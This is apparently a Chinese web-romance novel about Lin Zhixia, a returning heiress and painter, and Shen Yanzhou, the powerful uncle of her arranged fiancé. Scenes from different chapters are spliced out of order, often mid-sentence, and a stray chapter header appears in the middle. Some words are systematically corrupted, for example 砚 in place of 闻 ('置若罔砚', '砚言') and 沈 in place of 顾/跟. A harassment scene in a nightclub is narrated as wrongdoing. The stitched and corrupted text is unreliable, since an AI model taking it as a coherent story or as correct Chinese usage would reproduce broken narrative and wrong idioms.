“避嫌?”他居高临下地凝着林知夏,唇角弧度点了些讽刺的意味,一字一顿地逼着她:“你也说了,我和你互不相识,还是你的长辈,我们需要避什么嫌?” 他的嗓音温醇沙哑,只不过在提到“长辈”二字时,语气略微加重。 林知夏被这骇人气场吓到,身体轻轻抖了下。 她仰头看他,语气也不自觉地带了些委屈,“哪有您现在这样的……亏我来之前还觉得您是位值得尊敬的人物!您怎么能这样对我!” 沈砚舟轻笑,声音压低,意味深长:“那你说,我该怎么对你,像那夜一样?” 林知夏怔住,微微恍惚。 同样的雨声不止,同样的步步紧逼、气息交织,这一切与记忆中那缠绵旖旎的影像相吻合,却又有所不同。引着她去回温。 林知夏思绪控制不住地被这暧昧的氛围所带着,被迫回想起南法那夜她哭喊叫着“沈先生”的所有细节。 待回过神来,她对上沈砚舟好整以暇的目光,她心中又是委屈,又是羞恼,忿忿地别开眼不再与他对视。 明明那天两个人都说好了一别两宽、好聚好散,怎么现在他偏偏非要纠缠不休呢? 堂堂沈家掌权人有这么玩不起吗? 现在至少她和沈淮安表面上是联姻关系……这人不会打算强抢侄子的未婚妻吧? 林知夏被这突然出现的可怕想法吓到,顿时整个人都傻了。 那可是他亲侄子啊,而且她外公还是他的忘年交,沈砚舟不至于这么畜生吧? 想到这里,林知夏看沈砚舟的目光也多了几分异样。 她要是真的和沈砚舟在一起,外公得打死她。 老林家的门面还要不要了?! 老爷子的脊梁骨都得被他人给戳塌了! 本来她和沈砚舟睡一晚已经错了,她不能一错再错! 如果他真的存了这么个心思,她还不如直接在明面上说出来,绝了他这个的念头。 她必须坚定不移地表明她的态度! 于是,林知夏目光坚定地直视着沈砚舟,“您怎么正常对待晚辈,就怎么对我好了。而且淮安哥对我挺好的,我不想往他头上戴帽子,就算我想,我外公也不会同意的。” 就算是要和沈淮安退婚,她也不想以这种方式退婚。 林知夏想了想,觉得这话不保险,又补充道:“而且来之前我外公还特地强调您是他的忘年交,让我叫您一声叔叔。他说您为人端正,是个正人君子,绝对不会做出那种道德败坏的事情。我没有在南法见过三叔您,不管曾经是什么,但是现在,以及以后,您就是我最尊敬的长辈。” 这话一出,空气陡然陷入沉静。 唯有两人的呼吸此起彼伏。先前刚回国的时候,林知夏联系过几家知名画廊。 在她闭关画画的这几天,这些画廊纷纷向她抛出了橄榄枝。 林知夏选来选去,最终选择了一家和她创作调性最匹配的画廊。 经纪人不在这边,林知夏只好亲自去谈。 只不过这家画廊在国内知名度颇高,负责人有些傲气。 他们既看重林知夏在国外拍卖出五千万的名气,但又觉得林知夏年纪小,又是才回国不了解国内行情,想要压她的代理费。 一连几天扯皮,林知夏终于和对方确认得差不多,就差签代理合同了。 其实只要林知夏搬出自己是颂源集团董事长林绍海外孙女的身份,对方不敢这么拿乔。 但林知夏对于绘画有一种特殊的执拗。她想像她妈妈一样,在不靠任何家族光环的情况下有所作为。 结束饭局的时候已经是晚上九点半,林知夏和画廊负责人告别。 出了包厢,林知夏垂眸看了眼手机。 来之前,沈淮安不知怎地知晓了她要签合同的事情,表明晚上来接她。 而本着撮合小辈的意思,林外公答应了。 只不过林知夏在这里等了半个多小时,也不见沈淮安露面。 就在林知夏准备给沈淮安打电话时,手机铃声适时响起。 来电人正是沈淮安。 林知夏接听,听筒那边传来沈淮安的声音:“抱歉知夏,公司临时有个会,我可能不能去接你了。” 林知夏:??? 她没想到居然会遇到这种情状。 林知夏应声:“所以你现在还在公司?” 沈淮安的声音带着带着歉意与真诚:“不好意思知夏,最近公司有些忙。” 林知夏:“……” 林知夏默默地再次确认了下时间,现在已经十点了吧? 那为什么不能提前告诉她现在的情况呢?她也好早早联系家里的司机来接她啊! 林知夏极力克制住自己想要口吐芬芳的心情,“没关系的,工作更重要。” 沈淮安:“委屈你了,合同谈得还顺利吗?” “挺好的。” “作为补偿,明天我请知夏吃饭如何?” “不用了,明天我有点忙。” “好,那你注意安全。” 忍着不耐和沈淮安简单聊过几句后,林知夏挂断电话,联系了家里的司机李叔来接。 只是从林家到这里有很长的距离,她还得再等一会。 林知夏在会所大厅坐下,打了个呵欠,杏眼中蒙上一层水雾。 而就在等待的过程中,不远处的一间包厢开门,一群光鲜亮丽的公子哥从里面出来。 “今晚荣家的拍卖会迢迢姐可真是风头无二啊。我要是有个花五百万为我拍下红宝石项链的神秘男友,做梦都要笑出花了。”其中一个女伴开口。 但周围同伴却无一人应着她,顺着同伴的视线看过去,女子注意到坐在不远处坐着的林知夏。 “唉?那人是谁啊?怎么看着有点像迢迢姐?”女子皱眉。 “得了吧,只是看着和迢迢姐有几分像而已,完全比不上迢迢姐好吧。”另一位女子对林知夏评头论足道。 一开始,林知夏并未意识到旁人的谈论与自己有关,直到感到身后持续投射来的目光,她这才扭过头,看向对方。 顿时那些背后议论的女子脸色难看了起来。 若是从斜后方看,面前少女倒是和谢迢迢有几分相似,但若是正面直视,顿时高下立分。 少女五官甜美娇俏,细软黑长发温柔乖顺地散在肩膀上,更衬得肌肤瓷白细腻。一双杏眸澄澈干净,宛如清晨第一滴晨露落在娇嫩的鸢尾花上。 和她比起来,谢迢迢就像是炉窑作坊里生产出的流水线产品般,是无法与真正的皇家白瓷相提并论的。 这群人中为首的公子哥眼中划过惊艳。他推开怀中抱着的女伴,巴不得少女明亮的目光多在他身上停留片刻。 只是林知夏在看过这群人后,便平淡地移开视线。 她平日里接触到的都是京北顶级豪门圈,现在这些人她一个也不认识,要么是私生子,要么是连她这个圈子的人都摸不到的人。 她低下头继续翻手机,估摸着司机来这里大概需要多久,头顶却传来一道轻佻的声音。 “美女,要不要一起玩玩?那为首的公子哥大步走到她面前。 他目光直勾勾地落在林知夏身上,带有毫不掩饰的目的性。 林知夏眉头微皱:“你有事吗?” 女孩声音清脆,落在男人耳中格外动听。 男人目不转睛地盯着林知夏,露出一个自以为风流的笑:“我叫郑驰,美女,我该怎么称呼你?” 林知夏不愿与眼前这人有过多交流,冷淡开口:“林知夏。” 郑驰愣了一会,一时间只是觉得这个名字有些耳熟,但又想不起究竟在哪里听说过。 他不知道,林知夏在出国之前本该叫“谢夏”,出国五年,回国后更是一门心思扑在作画上,平日里深居简出,低调得很。 故此,郑驰想当然地以为林知夏不是这圈子里的人。 郑驰摸着下巴,目光更越发肆意,“夏妹妹,咱们要不要找个地好好认识下,哥哥也好带你玩玩。” 男人黏腻的目光肆意地落在她的身上,令林知夏恶心的同时,更是感到害怕。 林知夏浑身绷紧,她快速拎包起身:“不好意思,我家司机已经到了,我得走了。” 哪怕司机现在还没来,她也不想和这帮人呆在同一空间里,谁知道这些人喝酒上头会做出什么事。 她刚想朝着会所门口走去,谁知对方却大步上前拦在林知夏面前,“别先走啊,先一起喝一杯呗。” 林知夏气得憋红了脸,她拿出手机,试图拨电话。 但对方上前一步,一把夺走了她的手机。 郑驰看了眼屏幕上的电话号,面色不悦:“夏妹妹,你这就不上道了,报什么警啊。” 而他身后的那些人大概也习惯了郑驰的混不吝,全都只是在一旁看热闹,一点也没有阻止郑驰的意思。 林知夏后退一步,呼吸急促了些。 她压下心中恐慌的情绪,强撑着气势冷脸瞪向对方:呵斥:“不想得罪林家就让开!” 听到“林家”二字,郑驰身后的人面面相觑。 林家?不会是他们想的那个林家吧? 林绍海老爷子还真有个千娇万宠的外孙女,只不过那位林大小姐向来深居简出,认得她的人很少。 而且眼前这位林小姐和谢迢迢长得有几分像,可别真是那位林小姐,不然他们可算是捅了娄子了。 郑驰盯着林知夏憋红的俏脸,越发心猿意马,对同伴的告诫置若罔砚。 “林家又怎么样?我郑驰可不怕!” 他说着,毫下限地往林知夏身旁凑。 林知夏浑身神经紧绷,近乎是下意识地作出了反应。 “啪!”一个响亮的耳光。 气氛寂静无声,像是要冻结了般。 林知夏紧张地攥紧手指,见机不妙,正想要绕过郑驰逃跑,却被对方拽住手臂。 男人脸色铁青,凶狠阴沉的目光瞪向林知夏,咬牙切齿道:“想走?谁他妈给你的胆子打我的!” “我给的。”清冽低沉的男嗓自身后传来。 众人齐齐回头看去,立刻噤声,怔在原地。 就见斜对面的包厢门不知道什么时候被推开,一行人正站在门口处。 为首的男人,身形优越,挺拔修长。面部轮廓深隽清贵。 他头发后梳,黑色的三件式西装一丝不苟,皮鞋纤尘不染,本就令他矜贵温雅。更别提他鼻梁上架着的银框眼镜,更显得他气质斯文疏冷,带着属于上位者的冷漠傲慢。 令人打眼望去,便移不开目光。 在他身后还站着大半人,都是行业内赫赫有名、有头有脸的大人物。 这会都默默站在他身后,簇拥围拱着他。 林知夏没想到沈砚舟居然也在这里。 隔空对视时,她微微睁大眼。 那冰冷镜片背后的目光莫测,看得她情绪微乱。 林知夏张了张口,嗓音干涩地喊了声:“沈叔叔……” 少女的声线本就甜而软,说话时总会给人一种娇娇的感觉。更别提她现在的声音中带了些若有似无的委屈,更是听得人耳根酥麻。 此言一出,大厅内陡然陷入死寂。 所有人都不敢擅自开腔,皆是面色微妙,屏息凝声,大气都不敢喘一口。视线在林知夏与沈砚舟之间不住地打量着。 要知道眼前这位可是沈氏集团现如今的掌权人,令人砚风丧胆的沈家三爷。 被看他表面温和斯文,实则手腕果决狠辣,更是出了名的冷硬心肠、不近女色。 他从不让任何女人作陪,也不喜欢有女人敢对他撒娇了。 这女孩可真是吃了熊心豹子胆,竟然敢招惹这位沈三爷,真是不知死活。 而看到这一幕,郑驰那群二世祖更是心中狂喜。 这给脸不要脸的女人,这回可是撞到铁板上去了。与其求沈三爷,还不如好好和他郑驰赔礼道歉呢。 然而接下来这一幕,令在场众人瞠目结舌。 就见那位向来高不可攀的男人沉着脸,大步上前走到少女面前,弯下腰,牵起她的手,沉声问:“手还疼吗?” 众人:??? 郑驰:??? 林知夏仰着小脸怔怔看着他,一股纷乱如麻的情绪在心底肆虐。原本虚张声势强撑出来的镇定无畏,也在这一刻因后怕而轰然坍塌。 “沈叔叔。” 少女委屈巴巴地叫了声,玲珑杏眼中蒙上一层水色,眼睑下的红痣在泪水下越发红润,眼泪止不住地流了下来。 面前的男人一声轻叹,似是无奈。 他弯下腰,抬手,温热宽大的手掌落在她脸上,温柔地拭去她眼尾惊慌的泪水。 林知夏耳朵微微发烫,只感觉那掌心的热度似是要沿着被他触碰过的肌肤一路烫到她的心底。 见到这幅情景,在场所有人纷纷倒吸一口凉气。 所有人都不动声色地打量着沈砚舟以及被他护在身后的女孩。 心中抓心挠肺地好奇。 这,这个女孩究竟是谁? 能让在商界中杀伐果决沈三爷,流露出这般缱绻柔情的一面。 郑驰见状,更是面色惨白,浑身颤栗不止。 就见男人握着少女的手,目光居高临下地落到郑驰身上,不带有丝毫温度—— “你要动她?” 沈砚舟面无表情,深沉的目光漫不经心地锁定在她的身上。 林知夏低垂下脑袋,压下心口的慌乱烦躁。 漫长的沉默后,头顶传来男人的声音:“你走吧。” 沈砚舟放开了林知夏,很绅士地让开了身子,他身上那氤氲着体温的木质男香和烟草气味也随之远去。 似乎方才什么都没有发生过。 他真就这么轻易妥协了? 林知夏眨眨眼,谨慎地看着沈砚舟。 四目相对之时,沈砚舟淡淡地笑了下,他的表情是一如既往的沉静温和、无波无澜,令人猜不透他的情绪。 似乎除了刚才那一下外放,他并没有丝毫的情绪波动。 仿佛在此刻,一条泾渭分明的界线出现横亘在俩人之间。 林知夏松了一口气,“三叔再见?” 沈砚舟淡淡地应了声。 见沈砚舟没有反应,于是林知夏匆匆越过沈砚舟,推开门,小心翼翼地朝着门外看去。 还好还好,没有人。 她推门离开,而后脚步越来越快,像是只虎口逃生的小鹿,逃之夭夭。 鼻尖似是还萦绕着方才少女身上甜美可人的樱桃奶油香。 沈砚舟站在原地,似笑非笑地望着少女逃跑的背影。 林知夏飞快地逃回房间,关上门,将房门锁住。 她后背抵在门板上,心脏骤跳不停。 空气中奶油和樱桃的甜香味浓重,林知夏低头看着被弄脏的裙子欲哭无泪。 她可没有备用衣服啊。 就在林知夏纠结要不要找沈宅里的管家要一套备用衣服的时候,房间门被敲响。 林知夏的心跳和呼吸顿时急促了起来,“谁?” “知夏小姐,是我。” 门外是赵管家的声音。 林知夏打开门,就见老管家站在门外。 他一只手臂上抱着一条裙子,一手端着一碟樱桃小蛋糕。 老管家笑得和蔼,“刚刚听说您的裙子弄脏了,我给您送一条。” 想也知道是谁让老管家送来的裙子。 “谢谢管家了。”林知夏微笑,接过老管家手中的裙子和蛋糕。 管家走后,林知夏换上这套裙子。 裙子面料柔软,极为合身,完全符合她的尺寸和审美。 林知夏垂下眼。 这人还挺细致体贴的…… 因着今夜的事,林知夏有些睡不着。最后索性坐起身,找了纸笔随意写写画画。 笔尖一旦落在纸上,灵感便如泉涌,完全止不住。 等林知夏回过神来,一张光影感极强的速写已经完成了。 男人逆光靠在玻璃窗上,薄唇间叼着烟。光影在纸上有了形状,完美勾勒出他优越性感的形体。 林知夏深吸一口气,合上速写本扔在一旁,眼不见心不烦。 知道她要回来,老爷子早就安排人给她做了一大桌她喜欢吃的菜。外孙女爱吃的那家松鹤楼糕点,喜欢吃的水果,老爷子也让人买了回来。 看到这些,林知夏眼眶一酸,想要落泪,又强行忍住了。 林老爷子仔细端详着外孙女,蓦地皱起眉头:“夏夏怎么看着瘦了?是在国外吃得不好吗?” 林知夏在外公身旁的沙发坐下:“我在国外挺好的,就是会在吃早餐的时候,想念您煎的鸡蛋。” 林外公不怎么会做菜,唯一会的一道菜就是煎鸡蛋。 “那外公明天早上给你煎,”外公用苍老宽大的手揉了揉外孙女的小脑袋,笑容和蔼:“对了,你跟谢家说了回国的事没?” 林老爷子口中的谢家,是林知夏生身父亲的家族。 十八岁前,林知夏还不叫“林知夏”,而是“谢夏”。 在她十七岁那年,母亲林知媛去世,不到一个月,父亲谢卫东便将二婚妻子和比她小一个月的谢迢迢带进谢家。 谢迢迢欺负林知夏没了母亲,仗着谢卫东的宠爱明里暗里打压林知夏。而谢卫东对此却是不管不问。 若非林老爷子得知外孙女在谢家受尽委屈,强势将谢夏带回林家,林知夏指不定要在谢家遭遇什么磋磨。 直至十八岁成年后,谢夏改名改姓“林知夏”,出国留学。而出国留学这几年,谢卫东记恨她擅自改姓忘本,一通电话也未曾打过。 故此在听到外公提起谢家时,林知夏脸上的笑意淡了些:“没有,我不想再和他们牵扯上关系。” 见外公正要张口说些什么,林知夏将脑袋抵在外公肩膀上,冲他甜甜地撒着娇:“外公,我好不容易回国,您就不要再提那些晦气的人了。我给您讲讲我在国外的事怎样?” 她特地调出手机相册,将自己之前画的油画一幅幅翻给外公看:“您外孙女的一幅画可是在慈善拍卖会上卖出五千万呢。” “我家夏夏可真棒,”林老爷子乐呵呵的,神态骄傲:“这次回国有什么发展打算?现在国内和国外环境不同,要不要外公给你引荐引荐?” “不要,我不想借用您和林家的影响力。我想像妈妈那样靠自己闯荡,”林知夏将脑袋靠在外公身上,认认真真道:“外公,您是不信我吗?” 林知夏的母亲当年便在脱离林家光环,仅凭靠自己的前提下,年纪轻轻便做出了一番事业,成为国内外有名的印象派油画大家。 只是可惜,那样骄傲优秀的一个人,到最后却爱上了林知夏的父亲,被以“爱”为名的婚姻欺骗,落了个香消玉殒的结局。 “信信信!”林老爷子知道外孙女和女儿一样,都有自己的骄傲,便也放手让外孙女去闯荡,再不济也有他来兜底。 “要是回国后遇到什么难处,就给你淮安哥打电话,让他帮忙,”林老爷子笑眯眯地问:“对了夏夏,今天是淮安来接你回来的吧?” “嗯。”因着有会所的监控作证,所以这事很快便解决了。 郑驰被拘留十日。 从警局出来后,郑董追了上来,一脸讪笑:“三爷,今晚这事确实是犬子做的不对。” 他现在顾不得那被拘留的私生子,只在意沈砚舟的态度。 沈砚舟表情淡淡,眉眼淡漠斯文。 郑董愈发惶恐不安,“三爷您放心,我明日便去林家,给老爷子赔罪。” 沈砚舟这才侧过脸,居高临下地看了一眼郑董,语气很淡,却带着不容置喙的压迫感:“郑董要是管不住自己的儿子,自有人替你管教。” 一句话便吓得郑董面色发白,手脚冰凉。 郑董今年五十多岁,在京北也算是个人物,可在沈砚舟面前,愣是做足恭敬殷切姿态。 郑总忙不迭应道:“您说的对,您说的太对了。是我管教不当,您放心我回去后一定要好好管教他。” 直至目送着沈砚舟和林知夏离开,郑董才呼出一口气。 不远处的昏黄路灯下,一辆亮黑迈巴赫商务车正安静地停靠着,车身在昏黄灯光下愈发锃亮。 沈砚舟走在前面,打着电话,步伐从容不迫。 林知夏慢吞吞慢吞吞地跟在男人后面,耷拉着脑袋,像是只惴惴不安的兔子。 现在她无比心慌。 一方面是因为家中司机还没来,另一方面她也不知该如何跟沈砚舟道别。 见他收了线,林知夏停住脚步,站在离沈砚舟一步之遥的位置。 “沈叔叔,今晚真的很谢谢您。” 林知夏像是个好学生般站着,声线温软。姿态也是做足了属于晚辈的恭敬乖巧,让人挑不出什么错。 沈砚舟停住脚步,直直回望,视线悠悠地凝在她的脸上。 林知夏眨了眨杏眼,声音脆生生的,“沈叔叔,我家司机马上就要来了,我就不耽误您时间了,要不我们就此别过吧。” 她面上恭敬乖巧,但眉眼间却是压着掩饰不住的欢快,鲜活纯净。 沈砚舟幽邃的瞳色深了几分。 显然,这小没良心的,打算过河拆桥。 他微弯了下唇角,鼻梁上架着的眼镜在他肌肤落下薄薄的一层阴影,声音四平八稳,不咸不淡道:“刚刚和林老通话,他拜托我送你回家。” 话音刚落,就见少女杏眼微微睁大,不可置信地看着他。 林知夏整个人都有些懵,“外公让您送我回家” 几日前,被沈砚舟堵在漆黑房间里的画面还记忆犹新。 林知夏打了个哆嗦,心虚、慌乱的情绪如藤蔓般缠住了她的心脏。 不要啊!她不想和沈砚舟呆在同一辆车里啊! 这样很危险的! 外公啊,你这是在把你外孙女往虎口里面推啊! 沈砚舟点头,不动声色地将少女娇俏动人的小表情收归眼底,,侧脸轮廓在黑暗中越发深邃:“林老担心你独自等车会不安全。你若是不信,可以再跟他确认一遍。” 林知夏怔愣了下。 刚才会所里发生的一切还犹在眼前,现在跟着沈砚舟确实是更加安全一些。 更何况……她和沈砚舟之间的事早就说清了,她也没必要这么躲着他。 沈砚舟唇畔笑弧依旧,还在慢条斯理地等着她回复。 林知夏点头:“好。” 见林知夏与沈砚舟走来,守在车门外的司机连忙上前为两人拉开车门。 林知夏深吸一口气,坐进车里。 她心里不自在,一上车就装作低头玩手机的样子。 几秒后,身旁的座位下陷,沈砚舟在她身旁坐下。 随着沈砚舟的进入,隔绝前后座的挡板缓缓升起,将两人锁在这一密闭的空间中。 宽敞的车厢空间似乎也随着挡板的升起而变得愈发狭窄,连带着空气流动的速度都凝滞了起来。 男人身上那干涩温和的木香混合着龙井茶的味道,在这凝滞中悄然袭来。 林知夏本能地绷紧脊背,她悄悄地朝着远离沈砚舟的方向挪了挪,拉远与男人之间的距离。 车子缓缓启动,车厢内气氛沉寂,唯有舒缓的大提琴曲在耳边静静流淌。 沈砚舟全程姿态松弛地向后靠着座椅背,闭目养神。 但即使沈砚舟毫无动作,但周身缭绕的压迫感还是令林知夏坐如针毡。 她佯装镇定地朝着车窗外看去,看着道道斑斓光影被车辆飞快掠过、甩下…… 没过一会,林知夏打了个喷嚏。 车内冷气开得足,而她只穿了一条单薄的裙子,露着肩膀和胳膊,吹冷气时间长了,她便有些受不了了,胳膊上也立起小小的鸡皮疙瘩。 身旁传来一阵衣料摩擦声,随后身旁之人将一件深灰色的西装外套递了过来。 沈砚舟神色淡淡,他一边将外套递给她,一边吩咐前座人将车内冷气调高些。 林知夏犹豫了片刻,终是扛不住车内的冷气,接过他手中外套。 男人的西服宽大,不是牌子货,没有任何logo,却是全手工定制,面料考究,剪裁得体。 能够驾驭住这一套的人极少,但沈砚舟偏偏就是其中之一。 这件外套穿在他身上,内敛又矜贵。 林知夏将外套轻轻地披在身上。沾染了男人的温度,驱散了冷意,淡淡的乌木香将她不着痕迹地包裹起来。 她垂下眼睫,轻声细语地道谢:“谢谢你,沈叔叔。” 沈砚舟侧过头,视线淡淡在她身上掠过。一直快晚上十二点多的时候,沈淮安的车开进沈家老宅车库,他下了车整了整略有凌乱的领结,推开门。 刚推开门,就听空气中骤时响起清冽的嗓音,“回来了。” 沈淮安吓了一跳,顺着声音的方向看去。 就见到沈砚舟正慵懒松弛地坐在棕皮沙发上。修长的腿交叠搭着,漫不经心地翻着手中的硬皮书。 见到这位三叔,沈淮安莫名地抖了下。 沈淮安深深畏惧着他这位叔叔,面对这位三叔时,处处皆需小心谨慎。 别看这位三叔面上给人一种清贵温雅的君子形象,给人的压迫感却比那些看似冷峻威严的人更盛。 上流圈内的这些小辈们,无一不害怕打怵他三叔。 沈淮安挺直脊背走到沈砚舟面前,微微弯腰,恭敬询问:“三叔,这个时间点您怎么还没睡” “有事找你。”沈砚舟头也不抬,从容翻页,“坐。” 仅是寥寥几个字,便让沈淮安惴惴不安。 莫非是梵景项目出了什么问题 究竟是出了什么大事,能让三叔大半夜在客厅等他等到现在。 沈淮安小心坐到三叔的对面,身体前倾,小心翼翼开口:“三叔,是不是梵景项目出了什么问题” 半晌,沈砚舟慢条斯理地放下手中书籍,抬眼看向沈淮安,镜片下的黑眸情绪莫测—— “我听说,你今晚和林家那位小姑娘有约会” 听叔叔提到与林知夏的约会,沈淮安表情微微不自然。 他不明白叔叔为什么会突然间提到这事,心里隐隐有种不好的预感。 “是的三叔,梵景项目临时有些事还需要处理。”他滴水不露地回答。 “所以用五百万给谢迢迢拍下项链,也是为了梵景项目”沈砚舟嗓音沉静温和,带着来自骨子里的压迫感,令沈淮安打了个寒颤。 “一边死咬着和林家的联姻,一边在外与人暧昧不清。沈淮安,这就是你的家教” 室内氛围安静得令人头皮发麻。 镜片背后,那审视的目光宛若锋利冷锐的箭镞,宛若无形的巴掌,毫不留情地抽在沈淮安脸上。 沈淮安僵坐在原地,大脑空白一片。 他万万没想到,这件事居然被三叔知道了。 半晌,沈淮安动了动唇,慌乱道:“三叔,我知道错了。是我愧对知夏,您放心我一定会和谢迢迢断了,求您不要把这件事告诉爷爷和知夏。” 沈砚舟神情冷淡地倚靠在沙发上,把玩着手中的打火机。 “咔哒——” 蓝色的火焰跃起,他慢条斯理地点了火,呼出一口烟。 灰白色的烟雾缭绕,模糊了男人的表情,越发令人揣摩不出他心中所想。 沈淮安不察,他言辞恳切:“叔叔,我真的喜欢知夏,我不会委屈她的。” 沈砚舟点了点烟身,微冷的眼底划过讽意。 待沈淮安说完之后,他面无波澜,语调平和疏淡,“事已至此,断不断已经无所谓了。你去找老爷子把婚约解除吧。” “不行!”沈淮安一脸不可置信,他声音僵硬道:“三叔,我不能退婚!” 他一直都很喜欢林知夏,从林知夏第一次来沈家和他见面时就喜欢她。 在偷听到林老和祖父关于两家联姻的谈话时,也是他主动向沈老爷子提出想要娶林知夏的。 他知道林知夏不喜欢他,但没关系只要婚约还在,他们就是绑定在一起的。 只是面对林知夏冷漠的态度,沈淮安难免有些失落。 而这时谢迢迢出现,那个傻姑娘眼里满心满眼地都是他……最重要的,她和林知夏长得很像。 但若是让他选择,他还是会选择林知夏。 下定决心后,沈淮安握紧掌心,坚定道:“三叔您能再给我一次机会吗这次我会和谢迢迢断干净的。” 沈砚舟轻嗤一声,将抽了一半的香烟碾灭,慢条斯理地站起身。 他语气冷沉,带着一种不容置喙的压迫感—— “淮安,婚姻容不得你儿戏,明天把婚约推了,不要耽误别人。” 砚言,沈淮安脸色惨白。 她本就娇小,被那宽大外套一套,更是整个人都陷进衣服里。那张瓷白精致的巴掌小脸被那宽大的衣领衬着,越发乖软娇俏。 沈砚舟眸色敛了敛,嗓音矜淡:“你打算怎么谢” 听到这句话,林知夏怔住。 她不过是随口一说,没想到沈砚舟还真的要让她付出实际行动…… 不过想来也是。今晚多亏了他,她才能脱身,还是不要欠他人情为好。 “我还没想好,容我好好想想……” “上次的《招财进宝图》不错,”沈砚舟淡淡评价着:“不如再给我画幅画吧。” “您这么喜欢财神爷” 林知夏下意识看向沈砚舟,而后猝不及防地对上对方深邃温沉的眉眼。 两人的目光结结实实地撞在一起。 他正侧头望着她。 许是倦了,他摘下了金丝边眼镜,露出深隽的眼窝,下颌微抬,姿态慵懒地仰头枕着后座,喉结线条起伏明显。 “是给我画一幅肖像画。”沈砚舟淡淡开口。 车窗外一缕霓虹掠过,男人立体深邃的轮廓便浸在这迷离的光影中。 没了镜片的遮挡,他望向她的视线越发晦暗浓重,像是一张无形而紧密的网,无声无息地将林知夏的心脏网住。 林知夏晃了下神,心脏随着那网的收缩而猛烈跳动。 她缓了缓,轻声开口:“您要给我当模特” “嗯。”沈砚舟应道。 林知夏越发觉得车厢内那萦绕着的木质香愈发浓烈,像是绳索般牢牢地捆束住她。 她小口地吞咽了下,脑袋里乱成浆糊。 她无法拒绝沈砚舟的请求,没有一个艺术家能够将这么优质的模特拒之门外。 但理性告诉她,沈砚舟对她来说终归是长辈,还是他外公的忘年交,不想和他纠缠的过深,就不能这样做。 尽管林知夏很想像上次那样干脆利落地拒绝她,但不知为何,对上那深隽温和的眉眼,她犹豫了…… 最终在经历了激烈的天人交战后,她还是躲开沈砚舟的视线,干巴巴地拒绝:“抱歉,沈叔叔。您是我最敬重的长辈,我不能画您的人体……” 话还没说完,对方蓦地笑了,温磁的笑声令林知夏耳根发烫发痒。 她看向沈砚舟,认认真真地强调:“沈叔叔,您别笑,我是正经的。” 沈砚舟垂眸凝着她,眼角下压带出几分戏谑的笑纹,带着阅历所赋予的成熟男性的魅力。 他悠悠开口道:“我有说是人体吗” 林知夏瞳孔动了动,迟钝的大脑终于后知后觉地反应过来。 淦!!! 她刚才好像把心里话给说出来了…… “你觉得他人怎么样?” 林知夏没说话,心中升起不太好的预感。 像是印证了她心中的预感,就听外公道:“外公和你沈爷爷都商定好了,让淮安和你定亲怎样?” 林知夏怔愣住,没想到外公会突然提出这么一说:“外公为什么会突然这么安排?” “你和淮安都到了适婚年纪。再加上林沈两家都是世代的交情,你沈爷爷也很看重你,你嫁过去,整个沈家上下自然会护着你,不让你受半点委屈,我也能把心安在肚子里。” 林老爷子顿了顿,继续说:“况且淮安这孩子在沈家小辈里是最优秀的,他品性好、能力优秀、脾气也好,人长得更是不错。我瞅着沈家再也没有比他还要好的人选了,就和你沈爷爷把这门婚事给定下了。” 林知夏懂了。 外公这是看她到了适婚年龄,想给她和沈淮安拉郎配。 可她不想结婚,也不想谈恋爱,更不想和一个陌生男人有太深的瓜葛。 林知夏瘪嘴:“可我对沈淮安没有感觉……” 林老爷子笑着拍拍她的手背,语重心长道:“哪有什么一下子就看中了的,感情是可以慢慢培养的,等你们熟悉了就好了。想当年我和你外婆也都互相看不上眼,最后还不是也甜甜蜜蜜的?” 林知夏垂下头,瘪着嘴哼唧唧唧的,显然是不乐意,娇娇的样子看着让人心疼。 “这事不急,你再考虑考虑,”林老爷子叹了口气,大掌摸了摸林知夏的头顶,“外公有些累了,先上楼休息了。” 林老爷子在管家的搀扶下站起身,颤巍巍地朝着电梯缓缓走去。 看着外公佝偻的背影,林知夏心中滋味难言。《 》 75-80 第 76 章 第七十六章 Elysium晚宴正厅,无数商务车接连停下又驶离。 穿着精致的明星从车上下来,走至展板签名,拍照姿势极尽完美,颇有斗艳的意思。 沈时年不需要也没兴趣出现在镜头下,所以只懒散地等在红毯的尾端,等他的女伴采访完。 他不识趣,林知夏也就没有找他的意思了。 她早早就进了内场,衬着下巴给卞清聆发消息,实时锐评各位明星的穿搭,最后再百无聊赖地抱怨说:【我还不如捧着板子画画。】 那边笑得不行,立马回话:【我还以为大小姐都很习惯这种名利场。】 林知夏眉眼松软,也跟着笑。 【是很习惯,但不喜欢。还是跟你贴在一起画画开心。】 【图图流泪.jpg】沈砚舟竟然一边聊着十位数的项目,一边还听她们在那儿说八卦。 而且,还是她的八卦。 他不经意地把重夏落在了“白月光”三个字上,这样新潮的词汇让他说出来总有分嘲弄感,像是在点她喜欢过季辰的事,听得林知夏哽了足足三秒。 这是什么意思! 嘲笑她的少女往事? 没听到她解释了吗,那是人家的错觉。 林知夏一时恼羞成怒,囧意绕过脑回路,也沈不上两人尴尬的关系了,面无表情地说:“呵呵,羡慕你就去排队。” 说完她不等沈砚舟回应,就高傲撇头,轻拽缰绳准备离开。 只是苹果还在跟踏风贴贴,没及时沈上林知夏的情绪,导致她第一下拽马没拽走。 沈砚舟挑了挑眉。 林知夏脸皮一热。 受不了了。 迟早要把这个见证过她所有丢脸时刻的男人暗杀掉。 她瞥了眼沈砚舟,轻咬后牙,两腿又稍稍夹了下马腹。 苹果感到肚子被勒了下,才反应过来自己背上的人好像急着要走。 它安抚意味地哼了声,慢悠悠动了马蹄。 林知夏见状松了口气。 再在这里待下去她就真的要装晕了。 但她偏偏没想到的是,踏风是个粘人精。 它一见到苹果要走就立马又跟了上来,没几步就赶上了苹果的尾巴。 林知夏的后腰刚卸了点力,余光里便又出现了沈砚舟的身影。 她指尖收紧,立马坐直。然后扯了扯缰绳,让苹果跑快点。 还好苹果这回很听话,只扬了扬头就迅速奔走了。 踏风见状愣了秒,下意识准备跟上去。只是它刚走几步,就被沈砚舟勒停了动作。 沈砚舟的视线从林知夏的耳尖飘过,嘴角掠过一丝若有若无的笑意,神色轻淡地说:“行了,适可而止。” 踏风这才停下来,依依不舍地往反方向走,频频回头目送一人一马的离去。 接下来的半小时里,两人像是有股默契,都没再往障区中心去。 一条来自高傲小天鹅的撒娇,闺蜜独有,甜甜的,很安心。 发送完消息,林知夏撩起眼皮抽空看了眼前边坐着的人,发现是国内最近火得不行的女演员晚厘。 她穿着一席白色系礼裙,细长的脖颈上戴了圈高珠,整个人隐在变幻的光影里,耀眼迷人。 林知夏挑眉,叫来专门的服务人员,指向晚厘:“她的首饰给我定一套。” 服务人员连连应下,转身离开。 这也是顶奢品牌开晚宴或酒会的理由之一,利用明星的优越身形给顶级客户展示穿搭效果。 甚至都不用客户自己费力试穿,就可以直接拿下。 